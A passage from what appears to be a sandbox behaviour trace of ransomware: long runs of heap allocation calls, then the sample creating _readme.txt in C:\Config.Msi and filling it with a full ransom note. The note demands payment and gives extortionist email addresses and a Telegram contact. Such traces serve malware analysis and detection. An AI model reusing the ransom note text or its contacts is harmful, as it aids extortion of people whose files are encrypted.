returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.300] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.300] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.301] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.301] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.302] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f4110 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.302] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.303] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.303] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.304] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.304] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5650 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f4110 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4110 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.305] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.305] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.306] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.306] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.306] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0116.306] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.306] PathFindFileNameW (pszPath="") returned="" [0116.306] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.306] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.306] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f5650 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.307] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5650 | out: hHeap=0xd10000) returned 1 [0116.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.307] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0116.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.307] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947ce8 | out: hHeap=0xd10000) returned 1 [0116.307] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0116.307] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.307] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.307] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal 